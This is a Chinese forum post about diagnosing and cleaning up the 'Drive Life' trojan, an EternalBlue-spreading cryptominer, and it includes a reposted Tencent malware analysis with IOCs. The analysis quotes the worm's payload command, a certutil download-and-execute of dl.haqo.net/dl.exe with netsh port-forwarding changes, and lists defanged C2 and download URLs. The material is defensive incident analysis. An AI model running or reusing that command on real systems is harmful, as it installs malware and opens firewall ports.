服务器无辜重启，罪魁祸首“驱动人生”木马排查、清理和防范方法

特权Q1123236160

服务器无辜重启，罪魁祸首“驱动人生”木马排查、清理和防范方法

永恒之蓝

【问题分析】
2018.12.14 下午有维护大师用户请求维护大师技术支持协助，问题现象是其维护的网吧突然批量自动重启，并且在短时间内自动重启了多次。
我找到几个自动重启过的服务器，看了下服务器设置了蓝屏写入“核心内存转储”，并设置了自动重启，于是看了 C:\Windows\Minidump 文件夹内有新生成了几个蓝屏dump文件.
本地windbg分析发现疑似永恒之蓝漏洞攻击导致的，如下图：

永恒之蓝

使用永恒之蓝漏洞扫描工具对服务器进行测试，扫描工具下载：  
爆发的“驱动人生”木马排查、清理和防范方法.rar (1.73 MB, 下载次数: 10)

2018-12-15 16:50 上传

点击文件名下载附件
，果然是存在漏洞的。
查看系统安全日志，发现2分钟会产生一次来自127.0.0.1的安全审核失败的日志，于是怀疑本地有木马在进行内网爆破或感染，使用 process explorer 和 pchunter 对服务器进程和系统服务、启动项、计划任务进行检查，发现一个叫  svhost.exe 的进程，路径： C:\Windows\SysWOW64\svhost.exe ，该进程注册为了一个叫 “Ddriver” 的系统服务，由系统服务进程 services.exe 启动.   svhost.exe 运行了子进程：C:\Windows\temp\svvhost.exe 和 C:\Windows\SysWOW64\svhhost.exe，正常的系统上都是没有这些服务和程序的，很明显都是木马病毒.
根据今天腾讯安全分析得知母体为svhost.exe，云控模块为svhhost.exe，永恒之蓝内网攻击模块为svvhost.exe，在服务器上未发现安装有驱动人生或驱动人生的更新服务和启动项，所以感染源猜测是被内网其他机器感染的或木马早先就潜伏到系统中了.
【确认中招】
由于该病毒注册的服务名称和服务文件路径都是一样的，所以确认是否中招非常简单，只需要打开cmd，使用 sc query Ddriver 命令查询该服务状态即可，如果未中毒，会提示“指定的服务未安装。”，下面是已中毒的系统下该服务的状态：


【解决办法】
如果安装了驱动人生，先把驱动人生卸载掉，并使用 Pchunter 清理掉驱动人生注册的任何服务或启动项.

1、清理驱动人生木马
    一键清理批处理下载：
2、屏蔽高危端口
     一键屏蔽批处理下载：
3、运行永恒之蓝打补丁工具，然后重启系统
     补丁工具下载：http://dl.360safe.com/nsa/nsatool.exe
4、关闭3389外网端口映射，修改系统密码.
--------感谢死性不改论坛提供技术支持

【其他爆料】【转】“驱动人生”木马详细分析报告 2小时感染10万台电脑挖门罗币
腾讯安全御见威胁情报中心监测发现，一款通过“驱动人生”升级通道，并同时利用“永恒之蓝”高危漏洞传播的木马突然爆发，仅2个小时受攻击用户就高达10万。“驱动人生”木马会利用高危漏洞在企业内网呈蠕虫式传播，并进一步下载云控木马，在中毒电脑进行门罗币挖矿。
一、概述

12月14日下午，腾讯安全御见威胁情报中心监测发现，一款通过“驱动人生”升级通道，并同时利用“永恒之蓝”高危漏洞传播的木马突然爆发，仅2个小时受攻击用户就高达10万。

“驱动人生”木马会利用高危漏洞在企业内网呈蠕虫式传播，并进一步下载云控木马，在中毒电脑上进行门罗币挖矿。云控木马对企业信息安全威胁巨大，企业用户须重点关注。

该病毒爆发刚好是周末时间，令企业网管猝不及防，周一工作日员工电脑开机后，建议立刻查杀病毒，再使用杀毒软件的漏洞修复功能安装系统补丁。个人电脑用户使用腾讯电脑管家即可防御。

本次病毒爆发有三个特点：

1.驱动人生升级通道传播的病毒会在中毒电脑安装云控木马；
2.病毒会利用永恒之蓝漏洞在局域网内主动扩散；
3.通过云端控制收集中毒电脑部分信息，接受云端指令在中毒电脑进行门罗币挖矿。

二、详细分析

dtlupg.exe访问以下url下载病毒
hxxp://xxxx.update.ackng.com/ziptool/pullexecute/f79cb9d2893b254cc75dfb7f3e454a69.exe
hxxp://xxxx.update.ackng.com/calendar/pullexecute/f79cb9d2893b254cc75dfb7f3e454a69.exe

（注意，为避免网友点击以上链接可以直接下载病毒程序，对部分字符做了隐藏处理）

病毒文件释放在：

C:\Program Files (x86)\DTLSoft\rili\Updater\ctrlf\f79cb9d2893b254cc75dfb7f3e454a69.exe等位置执行。

f79cb9d2893b254cc75dfb7f3e454a69.exe  运行后最终释放出 C:\WINDOWS\Temp\svvhost.exe

（MD5：2E9710A4B9CBA3CD11E977AF87570E3B）运行，svvhost.exe打包了“永恒之蓝”等漏洞攻击工具在内外网进一步扩散。

2.1 病毒母体

F79CB9D2893B254CC75DFB7F3E454A69.exe

运行后将自身拷贝到C:\windows\system32\svhost.exe，安装为服务并启动，服务名为Ddiver，并在随后拉起云控模块svhhost.exe、攻击模块svvhost.exe。

运行时先检测互斥体，确定是否已感染过。

通过检测以下进程将杀软信息搜集准备上传。

360tray.exe|360sd.exe|avp.exe|KvMonXP.exe|RavMonD.exe|Mcshield.exe|egui.exe|kxetray.exe|knsdtray.exe|TMBMSRV.exe|avcenter.exe|ashDisp.exe|rtvscan.exe|ksafe.exe|QQPCRTP.exe

检测到任务管理器及游戏进程则将云控模块svhhost.exe退出。

打开互斥体，对象名称为"I am tHe xmr reporter" ，xmr意指xmrig.exe矿机。

搜集系统敏感信息上传到hxxp://i.haqo.net/i.png,并接受返回的云控代码等待执行。

母体设置进程共享内存HSKALWOEDJSLALQEOD

2.2 挖矿

云控木马svhhost.exe其主要功能是，从母体进程svhost.exe共享内存中读取shellcode解密并执行，每隔2000秒读取一次共享内存中的shellcode进行解密执行，共享内存名为HSKALWOEDJSLALQEOD，目前该shellcode主要功能挖矿,不排除后期会拉取其他更加恶意如加密勒索等木马病毒执行

云控木马执行流程

云控木马运行后会创建一个线程，该线程函数主要功能是判断进程svhost.exe(母体进程)是否存在，不存在的话则启动该进程，接下来要读取的共享内存数据就是从该进程进行读取

创建线程判断母体进程是否存在

调用OpenFileMappingA打开共享内存，读取共享内存数据

读取共享内存数据

调用RtlDecompressBuffer函数解压共享内存中的数据，为下一步执行做准备

解压共享内存数据

共享内存数据加压完后会执行，目前该shellcode主要功能挖矿,不排除后期会拉取其他更加恶意如加密勒索等木马病毒执行

执行shellcode

尝试挖矿时通信IP为172.105.204.237

2.3 攻击模块

攻击模块从地址hxxp://dl.haqo.net/eb.exez下载，作为子进程Svvhost.Exe启动，分析发现该文件是通过python实现的“永恒之蓝”漏洞利用模块压缩打包程序。

子进程Svvhost.Exe为将python实现的“永恒之蓝”漏洞利用模块压缩打包程序。

Mysmb.pyo为攻击时扫描代码。

GitHub上也可以看到相关开源代码

扫描内网445端口进行攻击

不仅攻击内网漏洞机器，还随机找几个外网IP尝试攻击，1次攻击完后沉默20分钟

攻击成功后paylaod在中招机器执行以下命令进行内网扩散传播

cmd.exe /c certutil -urlcache -split -f http://dl.haqo.net/dl.exe c:/install.exe&c:/install.exe&netsh firewall add portopening tcp 65531 DNS&netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53

安全建议

1.       服务器暂时关闭不必要的端口（如135、139、445），方法可参考：https://guanjia.qq.com/web_clinic/s8/585.html

2.       企业用户在周一上班后，建议使用腾讯御点查杀病毒（个人用户可使用腾讯电脑管家），然后使用漏洞修复功能，修复全网终端存在的系统高危漏洞；

3.       服务器使用高强度密码，切勿使用弱口令，防止黑客暴力**；

4.       使用杀毒软件拦截可能的病毒攻击；

5.       推荐企业用户部署腾讯御界高级威胁检测系统防御可能的黑客攻击。御界高级威胁检测系统，是基于腾讯反病毒实验室的安全能力、依托腾讯在云和端的海量数据，研发出的独特威胁情报和恶意检测模型系统。

IOCs

域名

i.haqo.net

dl.haqo.net

md5

2e9710a4b9cba3cd11e977af87570e3b

74e2a43b2b7c6e258b3a3fc2516c1235

f79cb9d2893b254cc75dfb7f3e454a69

URL

hxxp://dl.haqo.net/eb.exez
hxxp://i.haqo.net/i.png?ID= xxxxx

taoweizhong

这个牛啊。分析得专业啊
网吧什么时候有这类人才了。666

htc6950

从不绝对相信其他外在程序，好在360现在还可以相信吧比其他程序不赖。